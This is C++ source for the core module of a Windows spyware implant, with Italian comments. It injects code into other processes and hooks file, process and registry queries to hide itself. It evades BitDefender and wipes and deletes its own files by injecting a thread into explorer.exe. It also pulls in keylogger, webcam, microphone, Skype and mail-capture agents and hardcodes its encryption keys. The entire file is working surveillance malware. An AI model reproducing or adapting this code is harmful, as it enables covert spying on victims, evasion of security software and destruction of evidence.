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H4-DLL.cpp
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////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// HIDING MODULE SECTION {HM}:
//
//
//
// HMServiceStruct:
// HM_IpcCliWrite_t pHM_IpcCliWrite - PTR. IPC di scrittura
// HM_IpcCliRead_t pHM_IpcCliRead; - PTR. IPC di lettura
// HM_sCreateHook_t pHM_sCreateHook; - PTR. funzione che alloca codice/dati di un Hook
// DWORD PARAM[10];
//
// EXPORTS:
// static DWORD HM_sCreateHookA(HANDLE,char*,char*,BYTE*,DWORD,BYTE*,DWORD)
// HANDLE HM_sStartHookingThread(HANDLE hProcess)
// void HM_sMain() - Entry point della DLL
//
// void HM_s<GenericHook>(HANDLE, HMServiceStruct *)
// void HM_s<GenericService>(HMServiceStruct *)
// [vedere HM_sInBundleHook e HM_sInBundleService come prototipi]
//
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
#include "common.h"
#include "H4-DLL.h"
#include "demo_functions.h"
#include "HM_CodeAlign.h"
#include "AM_Core.h"
#include "HM_InbundleHook.h"
#include "LOG.h" // XXX da includere nei singoli moduli di agent
#include "HM_IpcModule.h"
#include "SM_Core.h"
#include "PEB.h"
#include "HM_VistaSpecific.h"
#include <Psapi.h>
#include "aes_alg.h"
#include "bin_string.h"
#include "UnHookClass.h"
#include "x64.h"
#include "av_detect.h"
#include "DeepFreeze.h"
#include "HM_BitmapCommon.h"
#include <time.h>
#include "sha1.h"
#include "status_log.h"
#pragma bss_seg("shared")
BYTE crypt_key[KEY_LEN]; // Chiave di cifratura
BYTE crypt_key_conf[KEY_LEN]; // Chiave di cifratura per la conf
aes_context crypt_ctx; // Context per la cifratura
aes_context crypt_ctx_conf; // Context per la cifratura per la conf
DWORD log_free_space; // Spazio a disposizione per i log
DWORD log_active_queue; // Quale coda e' attiva 1 o 0
DWORD process_bypassed; //Numero di processi da bypassare
char process_bypass_list[MAX_DYNAMIC_BYPASS+EMBEDDED_BYPASS][MAX_PBYPASS_LEN]; // Lista dei processi su cui non fare injection
// Nomi dei file di sistema.
// Sono qui perche' ad esempio anche le funzioni di
// setup dei wrapper devono poterci accedere dall'interno
// dei processi iniettati.
char H4DLLNAME[MAX_RAND_NAME];
char H4_CONF_FILE[MAX_RAND_NAME];
char H4_CONF_BU[MAX_RAND_NAME];
char H4_HOME_DIR[MAX_RAND_NAME];
char H4_HOME_PATH[DLLNAMELEN];
char H4_CODEC_NAME[MAX_RAND_NAME];
char H4_DUMMY_NAME[MAX_RAND_NAME];
char H4_MOBCORE_NAME[MAX_RAND_NAME];
char H4_MOBZOO_NAME[MAX_RAND_NAME];
char H64DLL_NAME[MAX_RAND_NAME];
char H4DRIVER_NAME[MAX_RAND_NAME];
char H4_UPDATE_FILE[MAX_RAND_NAME];
char REGISTRY_KEY_NAME[MAX_RAND_NAME];
char EXE_INSTALLER_NAME[MAX_RAND_NAME];
char SHARE_MEMORY_READ_NAME[MAX_RAND_NAME];
char SHARE_MEMORY_WRITE_NAME[MAX_RAND_NAME];
char SHARE_MEMORY_ASP_COMMAND_NAME[MAX_RAND_NAME];
#pragma bss_seg()
#pragma comment(linker, "/section:shared,RWS")
// Prototipi usati per comodita'
char *HM_FindProc(DWORD);
DWORD HM_FindPid(char *, BOOL);
void HM_U2A(char *buffer);
void LockConfFile();
void UnlockConfFile();
#include "HM_ProcessMonitors.h" // XXX da modificare
#include "HM_KeyLog.h" // XXX da modificare
#include "HM_SnapShot.h" // XXX da modificare
#include "HM_WiFiLocation.h" // XXX da modificare
#include "HM_PrintPool.h" // XXX da modificare
#include "HM_CrisisAgent.h" // XXX da modificare
#include "HM_SkypeRecord.h" // XXX da modificare
#include "HM_UrlLog.h" // XXX da modificare
#include "HM_ClipBoard.h" // XXX da modificare
#include "HM_WebCam.h" // XXX da modificare
#include "HM_AmbMic.h" // XXX da modificare
#include "HM_MailCap.h" // XXX da modificare
#include "HM_Pstorage.h" // XXX da modificare
#include "HM_IMAgent.h" // XXX da modificare
#include "HM_LogDevice.h" // XXX da modificare
#include "HM_MouseLog.h" // XXX da modificare
#include "HM_Application.h" // XXX da modificare
#include "HM_PDAAGent.h" // XXX da modificare
#include "HM_Contacts.h" // XXX da modificare
// Qui finira' il binary patch con la chiave di cifratura dei log
BYTE bin_patched_key[KEY_LEN] = "ngkdNGKDh4H4883";
// Qui finira' il binary patch con la chiave di cifratura per la conf
BYTE bin_patched_key_conf[KEY_LEN] = "ngkdNGKDh4H4869";
// Variabili di configurazione globali
nanosec_time date_delta; // Usato per eventuali aggiustamenti sulla lettura delle date
// Usata per lockare il file di conf
HANDLE conf_file_handle = NULL;
typedef DWORD PROCESSINFOCLASS;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
#define SystemHandleInformation 16
typedef DWORD (WINAPI *ZWQUERYSYSTEMINFORMATION)(
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
////////////////////////////////////////////////////////////////////////////////
//
// Strutture, Dati e funzione iniettata nel Processo
// da Hookare [Threddino]
//
typedef void (__stdcall *Sleep_t)(DWORD);
typedef struct
{
HMCommonDataStruct pCommon;
char cDLLHookName[DLLNAMELEN]; // Nome della dll principale ("H4.DLL")
char cInBundleHookName[DLLNAMELEN];
char cInBundleServiceName[DLLNAMELEN];
// Funzioni da usare nell'Thread inizializzate dalla setup
ResumeThread_T pResumeThread;
OpenThread_T pOpenThread;
CloseHandle_T pCloseHandle;
Sleep_t pSleep;
DWORD dwPid;
DWORD dwThid;
BOOL lookup_bypass;
} HMHookingThreadDataStruct;
// Con questa si settano tutte le funzioni di Libreria che stanno
// in KERNEL32 e NTDLL
DWORD HM_HookingThreadSetup(DWORD * pD)
{
HMODULE hMod;
HMHookingThreadDataStruct *pHMHookingThreadData = (HMHookingThreadDataStruct *) pD;
VALIDPTR(hMod = GetModuleHandle("KERNEL32.DLL"))
// API utilizzate dal thread remoto.... [KERNEL32.DLL]
VALIDPTR(pHMHookingThreadData->pCommon._LoadLibrary = (LoadLibrary_T) HM_SafeGetProcAddress(hMod, "LoadLibraryA"))
VALIDPTR(pHMHookingThreadData->pCommon._GetProcAddress = (GetProcAddress_T) HM_SafeGetProcAddress(hMod, "GetProcAddress"))
VALIDPTR(pHMHookingThreadData->pCommon._FreeLibrary = (FreeLibrary_T) HM_SafeGetProcAddress(hMod, "FreeLibrary"))
VALIDPTR(pHMHookingThreadData->pResumeThread = (ResumeThread_T) HM_SafeGetProcAddress(hMod, "ResumeThread"))
VALIDPTR(pHMHookingThreadData->pOpenThread = (OpenThread_T) HM_SafeGetProcAddress(hMod, "OpenThread"))
VALIDPTR(pHMHookingThreadData->pSleep = (Sleep_t) HM_SafeGetProcAddress(hMod, "Sleep"))
VALIDPTR(pHMHookingThreadData->pCloseHandle = (CloseHandle_T) HM_SafeGetProcAddress(hMod, "CloseHandle"))
// Non lo prendiamo dai nomi guessati perche' la shared potrebbe non essere caricata
// se stiamo girando in un servizio
if (!FindModulePath(pHMHookingThreadData->cDLLHookName, sizeof(pHMHookingThreadData->cDLLHookName)))
return 1;
sprintf(pHMHookingThreadData->cInBundleHookName, "%s", "HFF3");
sprintf(pHMHookingThreadData->cInBundleServiceName, "%s", "HFF4");
pHMHookingThreadData->lookup_bypass = TRUE;
return 0;
}
// Essendo un Thread attivo pData viene passato da
// CreataRemoteThread
DWORD HM_HookingThread(HMHookingThreadDataStruct *pDataThread)
{
// Le funzioni di libreria che non sono in NTDLL e KERNEL32
// le devo risolvere nel processo figlio.....
HMServiceStruct sServiceData;
HM_CreateService_t pCreateService = NULL;
HM_CreateHook_t pCreateHook = NULL;
HMODULE hH4Mod = NULL;
INIT_WRAPPER(HMHookingThreadDataStruct)
sServiceData.pHM_IpcCliRead = NULL;
sServiceData.pHM_IpcCliWrite = NULL;
// Lancia le funzioni CreateService e InbundleHook
hH4Mod = pDataThread->pCommon._LoadLibrary((LPCSTR)pDataThread->cDLLHookName);
if(hH4Mod) {
if((pCreateService = (HM_CreateService_t) pDataThread->pCommon._GetProcAddress(hH4Mod, pDataThread->cInBundleServiceName)))
pCreateService(pDataThread->dwPid, &sServiceData);
// Verifica che i services siano stati installati con successo
if (sServiceData.pHM_IpcCliRead && sServiceData.pHM_IpcCliWrite)
if((pCreateHook = (HM_CreateHook_t) pDataThread->pCommon._GetProcAddress(hH4Mod, pDataThread->cInBundleHookName)))
pCreateHook(pDataThread->dwPid, &sServiceData, pDataThread->lookup_bypass);
}
// Resuma il thread principale (se stiamo infettando un processo appena nato che non
// e' in SUSPENDED)
// E' NULL solo se H4.DLL ha invocato il thread
if(pDataThread->dwThid != NULL) {
HANDLE hMainThread = pDataThread->pOpenThread(THREAD_ALL_ACCESS, TRUE, pDataThread->dwThid);
if(hMainThread != NULL) {
pDataThread->pResumeThread(hMainThread);
pDataThread->pCloseHandle(hMainThread);
}
}
// Scarica H4DLL dal processo....
if (hH4Mod)
pDataThread->pCommon._FreeLibrary(hH4Mod);
// XXX Per gestione messaggi?????
for(;;)
pDataThread->pSleep(1000);
return 1;
}
////////////////////////////////////////////////////////////////////////////////
//
// Funzioni per iniettare dentro explorer il codice
// per cancellare la DLL core e la directory di lavoro
typedef BOOL (WINAPI *RemoveDirectory_t) (LPCTSTR);
typedef BOOL (WINAPI *DeleteFile_t) (LPCTSTR);
typedef BOOL (WINAPI *VirtualFree_t) (LPVOID, SIZE_T, DWORD);
typedef HANDLE (WINAPI *CreateFile_t) (LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL (WINAPI *WriteFile_t)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL (WINAPI *CloseHandle_t) (HANDLE);
typedef struct {
COMMONDATA;
RemoveDirectory_t pRemoveDirectory;
DeleteFile_t pDeleteFile;
VirtualFree_t pVirtualFree;
CreateFile_t pCreateFile;
WriteFile_t pWriteFile;
CloseHandle_t pCloseHandle;
Sleep_t pSleep;
BOOL wipe_file;
char core_file[DLLNAMELEN];
char work_dir[DLLNAMELEN];
} HMRemoveCoreThreadDataStruct;
// Thread iniettato dentro explorer per cancellare il core
// e la directory di lavoro
#define CORE_FILE_LEN 2000000 // 150KB
DWORD HM_RemoveCoreThread(void *dummy)
{
HANDLE hf;
DWORD data_wiped;
DWORD dwTmp;
DWORD wipe_string = 0;
INIT_WRAPPER(HMRemoveCoreThreadDataStruct);
// Tenta il wiping
if (pData->wipe_file) {
// Cerca a tutti i costi di aprire il file in scrittura
// Il file deve esistere.
// Non ha share mode, perche' nessuno deve poter caricare la DLL mentre
// ci sta scrivendo sopra.
while ( (hf = pData->pCreateFile(pData->core_file, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL) ) == INVALID_HANDLE_VALUE )
pData->pSleep(200);
for (data_wiped=0; data_wiped<CORE_FILE_LEN; data_wiped+=sizeof(wipe_string))
pData->pWriteFile(hf, &wipe_string, sizeof(wipe_string), &dwTmp, NULL);
pData->pCloseHandle(hf);
}
// Qui la DLL non e' consistente (le eventuali aperture
// dovrebbero fallire)
// Cerca a tutti i costi di cancellare il core e
// la directory
LOOP {
pData->pDeleteFile(pData->core_file);
if (pData->pRemoveDirectory(pData->work_dir))
break;
pData->pSleep(200);
}
// Libera la memoria della data struct
// (non puo' liberare il codice che sta eseguendo)
pData->pVirtualFree((BYTE *)pData->dwDataAdd, 0, MEM_RELEASE);
return 1;
}
// Inietta il thread in explorer per la cancellazione
// del core. Se explorer non e' attivo, prova a iniettare
// finche non ci riesce.
#define REMOVE_SLEEP_TIME 200
void HM_RemoveCore()
{
HMRemoveCoreThreadDataStruct HMRemoveCoreThreadData;
DWORD explorer_pid;
HMODULE hMod;
HANDLE hProcess;
HANDLE hThreadRem;
DWORD dwThreadId;
BYTE *pCodeRemote;
BYTE *pDataRemote;
// Dice al thread se fare il wiping
HMRemoveCoreThreadData.wipe_file = log_wipe_file;
// Setup del thread di cancellazione
if (! (hMod = GetModuleHandle("KERNEL32.DLL")) )
return;
HM_CompletePath(H4DLLNAME, HMRemoveCoreThreadData.core_file);
HM_CompletePath("", HMRemoveCoreThreadData.work_dir);
HMRemoveCoreThreadData.pDeleteFile = (DeleteFile_t) HM_SafeGetProcAddress(hMod, "DeleteFileA");
HMRemoveCoreThreadData.pCreateFile = (CreateFile_t) HM_SafeGetProcAddress(hMod, "CreateFileA");
HMRemoveCoreThreadData.pWriteFile = (WriteFile_t) HM_SafeGetProcAddress(hMod, "WriteFile");
HMRemoveCoreThreadData.pCloseHandle = (CloseHandle_t) HM_SafeGetProcAddress(hMod, "CloseHandle");
HMRemoveCoreThreadData.pRemoveDirectory = (RemoveDirectory_t) HM_SafeGetProcAddress(hMod, "RemoveDirectoryA");
HMRemoveCoreThreadData.pVirtualFree = (VirtualFree_t) HM_SafeGetProcAddress(hMod, "VirtualFree");
HMRemoveCoreThreadData.pSleep = (Sleep_t) HM_SafeGetProcAddress(hMod, "Sleep");
if (!HMRemoveCoreThreadData.pDeleteFile ||
!HMRemoveCoreThreadData.pCreateFile ||
!HMRemoveCoreThreadData.pWriteFile ||
!HMRemoveCoreThreadData.pCloseHandle ||
!HMRemoveCoreThreadData.pRemoveDirectory ||
!HMRemoveCoreThreadData.pVirtualFree ||
!HMRemoveCoreThreadData.pSleep)
return;
// Cicla finche' non trova explorer.exe
while( !(explorer_pid = HM_FindPid("explorer.exe", TRUE)) )
Sleep(REMOVE_SLEEP_TIME);
// Se explorer e' a 64bit, cerca un processo a 32
if (IsX64Process(explorer_pid))
explorer_pid = Find32BitProcess();
if (!explorer_pid)
return;
// Inietta il thread di cancellazione
if(HM_sCreateHookA(explorer_pid, NULL, NULL,
(BYTE *)HM_RemoveCoreThread,
900, (BYTE *)&HMRemoveCoreThreadData,
sizeof(HMRemoveCoreThreadData)) == NULL)
return;
pCodeRemote = (BYTE *)HMRemoveCoreThreadData.dwHookAdd;
pDataRemote = (BYTE *)HMRemoveCoreThreadData.dwDataAdd;
// Esegue il thread in explorer.exe
hProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, explorer_pid);
if(hProcess == NULL)
return;
hThreadRem = HM_SafeCreateRemoteThread(hProcess, NULL, 8192,
(LPTHREAD_START_ROUTINE)pCodeRemote,
(LPVOID)pDataRemote, 0,
&dwThreadId);
// Se fallisce libera la memoria in explorer.exe
if(hThreadRem == NULL) {
FNC(VirtualFreeEx)(hProcess, pCodeRemote, 0, MEM_RELEASE);
FNC(VirtualFreeEx)(hProcess, pDataRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}
// Sara' il thread in explorer a liberare la memoria
// della funzione iniettata...
CloseHandle(hThreadRem);
CloseHandle(hProcess);
return;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// EXPORTS SECTION: START
//
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// Verifica se il processo e' nella lista dei processi da non toccare
// Torna TRUE se il processo e' nella lista
BOOL HM_ProcessByPass(DWORD pid)
{
char *process_name;
DWORD i;
// Prende il nome del processo "pid"
if ( !(process_name = HM_FindProc(pid)) )
return FALSE;
// Lo compara con quelli da bypassare
for(i=0; i<process_bypassed; i++) {
if (CmpWild((unsigned char *)process_bypass_list[i], (unsigned char *)process_name)) {
SAFE_FREE(process_name);
return TRUE;
}
}
SAFE_FREE(process_name);
return FALSE;
}
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_SUCCESS 0
BOOL CheckIPCAlreadyExist(DWORD pid, void *kobj)
{
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
LONG Status;
static DWORD *p = NULL;
int i;
DWORD n = 0x4000;
HMODULE hNtdll;
PSYSTEM_HANDLE_INFORMATION hinfo;
BOOL now_created = FALSE;
if (kobj == NULL)
return TRUE;
for (i=0; i<2; i++) {
if (p == NULL) {
if (ZwQuerySystemInformation == NULL) {
hNtdll = GetModuleHandle("ntdll.dll");
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation)
return TRUE;
}
if ( !(p = (DWORD *)malloc(n)) )
return TRUE;
while ( (Status=ZwQuerySystemInformation(SystemHandleInformation, p, n, 0)) == STATUS_INFO_LENGTH_MISMATCH ) {
SAFE_FREE(p);
n*=4;
if (!(p = (DWORD *)malloc(n)))
return TRUE;
}
if (Status != STATUS_SUCCESS) {
SAFE_FREE(p);
return TRUE;
}
now_created = TRUE;
}
hinfo = PSYSTEM_HANDLE_INFORMATION(p + 1);
for (DWORD i = 0; i < *p; i++) {
if (hinfo[i].ProcessId == pid && hinfo[i].Object == kobj) {
return TRUE;
}
}
if(now_created)
return FALSE;
SAFE_FREE(p);
}
return FALSE;
}
#define PAGE_MARKER PAGE_EXECUTE_WRITECOPY
BOOL MarkProcess(DWORD pid)
{
// E' sufficiente il secondo check che e' anche compatibile
// con l'installazione multipla di backdoor - XXX MINST
/* BYTE *header_ptr = NULL;
HANDLE hmodules, hprocess;
MODULEENTRY32W me32;
MEMORY_BASIC_INFORMATION mbi;
DWORD dummy;
me32.dwSize = sizeof(MODULEENTRY32W);
hmodules = FNC(CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, pid);
if (hmodules == INVALID_HANDLE_VALUE)
return FALSE;
if(!FNC(Module32FirstW)(hmodules, &me32)) {
CloseHandle(hmodules);
return FALSE;
}
do {
if (!wcsicmp(me32.szModule, L"ntdll.dll")) {
header_ptr = me32.modBaseAddr;
break;
}
} while(FNC(Module32NextW)(hmodules, &me32));
CloseHandle(hmodules);
if (header_ptr == NULL)
return FALSE;
hprocess = FNC(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (hprocess == NULL)
return FALSE;
if (!FNC(VirtualQueryEx)(hprocess, header_ptr, &mbi, sizeof(mbi))) {
CloseHandle(hprocess);
return FALSE;
}
CloseHandle(hprocess);
// Ha trovato il marker di pagina
if (mbi.Protect & PAGE_MARKER)
return FALSE;
hprocess = FNC(OpenProcess)(PROCESS_VM_OPERATION, FALSE, pid);
if (hprocess == NULL)
return FALSE;
if (!HM_SafeVirtualProtectEx(hprocess, header_ptr, 32, PAGE_MARKER, &dummy)) {
CloseHandle(hprocess);
return FALSE;
}
CloseHandle(hprocess);*/
// Check paranoico se il processo e' gia' attaccato alla shared memory
// (caso comodo...)
if (CheckIPCAlreadyExist(pid, IPC_SHM_Kernel_Object))
return FALSE;
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////
//
// Inietta il Thread nel processo da cui effettuare API Hooking
// Se lookup_bypass==TRUE guarda la process bypass list, altrimenti no
HANDLE __stdcall HM_sStartHookingThread(DWORD dwPid, DWORD dwThid, BOOL lookup_bypass, BOOL mark_process)
{
HANDLE hThreadRem = INVALID_HANDLE_VALUE;
HANDLE hProcess;
DWORD dwThreadId;
HMHookingThreadDataStruct HMHookingThreadData;
HideDevice dev_pid;
// Se e' un processo da non toccare non esegue nulla
if (lookup_bypass) {
if (HM_ProcessByPass(dwPid))
return INVALID_HANDLE_VALUE;
}
if (mark_process && !MarkProcess(dwPid))
return INVALID_HANDLE_VALUE;
// Il threddino deve avere i pid del processo....
HMHookingThreadData.dwPid = dwPid;
HMHookingThreadData.dwThid = dwThid;
// Setup del threddino: riloca le funzioni da usare ecc...
// se ritorna TRUE c'e' stato un errore nella risoluzion
// degli address delle api
if(HM_HookingThreadSetup((DWORD *)&HMHookingThreadData))
return INVALID_HANDLE_VALUE;
// Dice al thread iniettato nel figlio se guardare la
// process_bypass_list
HMHookingThreadData.lookup_bypass = lookup_bypass;
dev_pid.unhook_hidepid(FNC(GetCurrentProcessId)(), TRUE);
// Alloca dati e funzioni nell processo hProcess
if(HM_sCreateHookA(dwPid,
NULL, NULL,
(BYTE *)HM_HookingThread,
500,
(BYTE *)&HMHookingThreadData,
sizeof(HMHookingThreadData)) == NULL)
return INVALID_HANDLE_VALUE;
// Esegue il thread di hooking
hProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, dwPid);
if(hProcess != NULL) {
hThreadRem = HM_SafeCreateRemoteThread(hProcess,
NULL,
8192,
(LPTHREAD_START_ROUTINE)HMHookingThreadData.pCommon.dwHookAdd,
(LPVOID)HMHookingThreadData.pCommon.dwDataAdd,
0,
&dwThreadId);
// Se fallisce perche' siamo su Vista e vogliamo infettare SVCHOST
// prova con la NtCreateThreadEx()
if (hThreadRem == NULL)
hThreadRem = VistaCreateRemoteThread(hProcess,
(LPTHREAD_START_ROUTINE)HMHookingThreadData.pCommon.dwHookAdd,
(LPVOID)HMHookingThreadData.pCommon.dwDataAdd);
CloseHandle(hProcess);
}
dev_pid.unhook_hidepid(FNC(GetCurrentProcessId)(), FALSE);
// Errore
if(hThreadRem == NULL)
return INVALID_HANDLE_VALUE;
// XXX Qui dovrebbe fare una wait for single object (da vedere con chiodo)
// XXX L'handle tornato serve solo per vedere se
// la funzione e' andata a buon fine. Lo chiudiamo
// tanto nessun chiamante di questa funzione utilizza
// mai l'handle tornato. Se no rimangono aperti
// un sacco di handle.
if (hThreadRem != INVALID_HANDLE_VALUE)
CloseHandle(hThreadRem);
return hThreadRem;
}
// Verifica se una funzione e' gia' stata hookata DA NOI
BOOL IsHooked(HANDLE hProc, PBYTE code_local, PBYTE code_remote)
{
DWORD *dest;
DWORD i, dummy;
PBYTE dst_code;
BYTE jmp_code[MARK_SEARCH_LIMIT*2]; // siamo sicuri la HM_sCodeAlign non legga istruzioni fuori dal buffer
// vede se la funzione comincia con un jmp
if (code_local == NULL || code_remote == NULL || (*code_local) != 0xE9)
return FALSE;
// calcola la destinazione del salto
dest = (DWORD *)(code_local + 1);
dst_code = code_remote + (*dest) + 5;
// legge l'hook alla destinazione del salto
if (!HM_SafeReadProcessMemory(hProc, dst_code, jmp_code, sizeof(jmp_code), &dummy) )
return FALSE;
// vede se c'e' il nostro marcatore
__try {
for (i=0; i<MARK_SEARCH_LIMIT; i+=HM_sCodeAlign(jmp_code + i))
if (!memcmp(jmp_code+i, "\xEB\x00\xEB\x00", 4)) // Vedere MARK_HOOK
return TRUE;
} __except(EXCEPTION_EXECUTE_HANDLER) {
return FALSE;
}
return FALSE;
}
////////////////////////////////////////////////////////////////////////////////
//
// Copia codice e dati dell'Hook nel process dwPid
// Questa funzione viene usata anche per iniettare un Thread
// nel processo figlio
//
#define CRETURN(x) if(x) {CloseHandle(x);return NULL;}
DWORD __stdcall HM_sCreateHookA(DWORD dwPid,
char *APIName,
char *DLLAPIName,
BYTE *HookAdd,
DWORD HookSize,
BYTE *HookData,
DWORD HookDataSize)
{
DWORD code_len = 0, call_offs;
BYTE *op_code;
DWORD *op_operand;
HMODULE h_module = NULL;
BYTE APIOnLocal[64];
BYTE JMP_Code[REDIR_SIZE];
DWORD dummy;
HANDLE hProcess;
HMCommonDataStruct *pCommonData = (HMCommonDataStruct *)HookData;
// reset
pCommonData->dwHookAdd = NULL;
pCommonData->dwDataAdd = NULL;
//
if((hProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, TRUE, dwPid)) == NULL)
return NULL;
// Dobbiamo creare un HOOK ?????
IFDEF(DLLAPIName) {
if ( !(h_module = LoadLibrary(DLLAPIName)) )
CRETURN(hProcess);
} else
pCommonData->bAPIAdd = NULL;
// Dobbiamo creare un HOOK ?????
IFDEF(APIName)
if ( !(pCommonData->bAPIAdd = (BYTE *)HM_SafeGetProcAddress(h_module, APIName)) )
CRETURN(hProcess);
// Controlla se ce' codice da Hookare
IFDEF(pCommonData->bAPIAdd) {
// Legge i primi 64 byte della funzione da wrappare per farci dei controlli
if (!HM_SafeReadProcessMemory(hProcess, pCommonData->bAPIAdd, APIOnLocal, sizeof(APIOnLocal), &dummy) )
CRETURN(hProcess);
// Un processo viene hookato una volta sola dallo stesso core;
// core diversi possono hookare piu' volte - XXX MINST
//if (IsHooked(hProcess, APIOnLocal, pCommonData->bAPIAdd))
//CRETURN(hProcess);
// Allinea il limite dell'istruzione
while (code_len < (DWORD)REDIR_SIZE)
code_len += HM_sCodeAlign(APIOnLocal + code_len);
if (code_len > 15)
CRETURN(hProcess);
}
// Alloca memoria per il codice dell'Hook
pCommonData->dwHookAdd = (DWORD)HM_SafeVirtualAllocEx(hProcess, 0, HookSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if(!pCommonData->dwHookAdd)
CRETURN(hProcess);
// Alloca memoria per i dati dell'Hook
pCommonData->dwDataAdd = (DWORD)HM_SafeVirtualAllocEx(hProcess, 0, HookDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if(!pCommonData->dwDataAdd)
CRETURN(hProcess);
IFDEF(pCommonData->bAPIAdd) {
// Crea lo stub...
memset(HookData, 0x90, STUB_SIZE); // Riempie di NOP
memcpy(HookData, APIOnLocal, code_len); // Copia n istruzioni dall'API originale che verranno sovrascritte
// ...setta il JMP al codice originale...
HookData[15] = 0xE9; // OpCode JMP
*((DWORD *)(HookData + 16)) = (DWORD)pCommonData->bAPIAdd + code_len - ((DWORD)pCommonData->dwDataAdd + STUB_SIZE - 4); //Offset relativo per saltare dentro l'API originale dal wrapper
// ... e riloca eventuali CALL nelle istruzioni copiate nello stub.
for (code_len=0; code_len<REDIR_SIZE; code_len += HM_sCodeAlign(HookData + code_len)) {
op_code = HookData + code_len;
op_operand = (DWORD *)(HookData + code_len + 1);
if (*op_code == 0xE8 || *op_code == 0xE9)
*op_operand -= (pCommonData->dwDataAdd - (DWORD)pCommonData->bAPIAdd);
}
}
// Copia la funzione wrapper
if ( !HM_SafeWriteProcessMemory(hProcess, (BYTE *)pCommonData->dwHookAdd, HookAdd, HookSize, &dummy) )
CRETURN(hProcess);
// Copia la struttura dati
if ( !HM_SafeWriteProcessMemory(hProcess, (BYTE *)pCommonData->dwDataAdd, HookData, HookDataSize, &dummy) )
CRETURN(hProcess);
// Setta nel wrapper il puntatore ai dati
for(call_offs = 0; *(HookAdd + call_offs)!= 0x69; call_offs++);
if ( !HM_SafeWriteProcessMemory(hProcess, (BYTE *)(pCommonData->dwHookAdd + call_offs), &pCommonData->dwDataAdd, 4, &dummy) )
CRETURN(hProcess);
IFDEF(pCommonData->bAPIAdd) {
// Crea il jump code nell'API originale
JMP_Code[0]='\xE9';
*((DWORD *)(&JMP_Code[1])) = (DWORD)(pCommonData->dwHookAdd - (DWORD)(pCommonData->bAPIAdd) - 5);
if ( !HM_SafeWriteProcessMemory(hProcess, pCommonData->bAPIAdd, JMP_Code, REDIR_SIZE, &dummy) )
CRETURN(hProcess);
}
CloseHandle(hProcess);
return pCommonData->dwDataAdd;
}
void __stdcall HM_sInBundleHook(DWORD dwPid, HMServiceStruct * pServiceData, BOOL lookup_bypass)
{
// XXX Check ridondante nel caso il padre sia svchost che non ha la lista
// perche' non ha la shared
if (lookup_bypass)
if (HM_ProcessByPass(dwPid))
return;
// Hook inbundle di Hidding...
//HMMAKE_HOOK(dwPid, "OpenProcess", OpenProcessHook, OpenProcessData, OpenProcessHook_setup, pServiceData, "KERNEL32.dll");
// BitDefender non permette di infettare i processi appena creati
if (!IsBitDefender()) {
HMMAKE_HOOK(dwPid, "CreateProcessA", NtCreateProcessHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "KERNEL32.dll");
HMMAKE_HOOK(dwPid, "CreateProcessW", NtCreateProcessHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "KERNEL32.dll");
HMMAKE_HOOK(dwPid, "CreateProcessAsUserA", NtCreateProcessAsUserHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "ADVAPI32.dll");
HMMAKE_HOOK(dwPid, "CreateProcessAsUserW", NtCreateProcessAsUserHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "ADVAPI32.dll");
HMMAKE_HOOK(dwPid, "CreateProcessAsUserW", NtCreateProcessAsUserHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "KERNEL32.dll");
}
HMMAKE_HOOK(dwPid, "NtQueryDirectoryFile", NtQueryDirectoryFileHook, NtQueryDirectoryFileData, NtQueryDirectoryFileHook_setup, pServiceData, "NTDLL.dll");
HMMAKE_HOOK(dwPid, "ReadDirectoryChangesW", ReadDirectoryChangesWHook, ReadDirectoryChangesWData, ReadDirectoryChangesWHook_setup, pServiceData, "KERNEL32.dll");
HMMAKE_HOOK(dwPid, "NtQuerySystemInformation", NtQuerySystemInformationHook, NTQuerySystemInformationData, NtQuerySystemInformationHook_setup, pServiceData, "NTDLL.dll");
HMMAKE_HOOK(dwPid, "NtDeviceIoControlFile", NtDeviceIoControlFileHook, NTDeviceIOControlFileData, NtDeviceIoControlFileHook_setup, pServiceData, "NTDLL.dll");
HMMAKE_HOOK(dwPid, "NtEnumerateValueKey", NtEnumerateValueKeyHook, NtEnumerateValueKeyData, NtEnumerateValueKeyHook_setup, pServiceData, "NTDLL.dll");
HMMAKE_HOOK(dwPid, "NtQueryKey", NtQueryKeyHook, NtQueryKeyData, NtQueryKeyHook_setup, pServiceData, "NTDLL.dll");
// Metto gli Hook per tutti i PM inbundle...
// --- PM per Url Monitor
HMMAKE_HOOK(dwPid, "SendMessageW", PM_SendMessageURL, SendMessageURLData, PM_SendMessageURL_setup, pServiceData, "user32.dll");
